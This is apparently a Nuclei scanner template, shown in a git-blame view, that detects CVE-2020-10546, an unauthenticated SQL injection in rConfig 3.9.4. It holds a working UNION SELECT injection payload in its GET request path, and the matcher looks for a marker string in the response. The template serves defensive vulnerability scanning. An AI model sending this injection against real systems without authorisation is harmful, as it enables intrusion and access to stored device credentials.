nuclei-templates/http/cves/2020/CVE-2020-10546.yaml

45 lines
1.9 KiB
YAML
Raw Normal View History

2021-02-14 19:30:22 +00:00
id: CVE-2020-10546
2021-02-14 19:30:22 +00:00
info:
2022-11-29 05:34:09 +00:00
name: rConfig 3.9.4 - SQL Injection
2021-02-14 19:30:22 +00:00
author: madrobot
severity: critical
description: rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade to the latest version of rConfig or apply the provided patch to fix the SQL Injection vulnerability.
reference:
2021-03-24 06:54:09 +00:00
- https://github.com/theguly/exploits/blob/master/CVE-2020-10546.py
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2020-10546
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-10546
2023-07-11 19:49:27 +00:00
cwe-id: CWE-89
epss-score: 0.45422
epss-percentile: 0.97076
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: rconfig
product: rconfig
2024-01-14 09:21:50 +00:00
tags: cve2020,cve,rconfig,sqli
2021-02-14 19:30:22 +00:00
http:
2021-02-14 19:30:22 +00:00
- method: GET
path:
- "{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"
2023-07-11 19:49:27 +00:00
2021-02-14 19:30:22 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-02-14 19:30:22 +00:00
words:
- "[project-discovery]"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4b0a00483046022100f50e0851e4920eb23e6fb6fd083a74d6ecd00a0301e9d3a3068787c974f50b5e022100f0a24d64b1232c6f1242160fabc1624876acf0af6d66db9c6de7a0caea56c69d:922c64590222798bb761d5b6d8e72950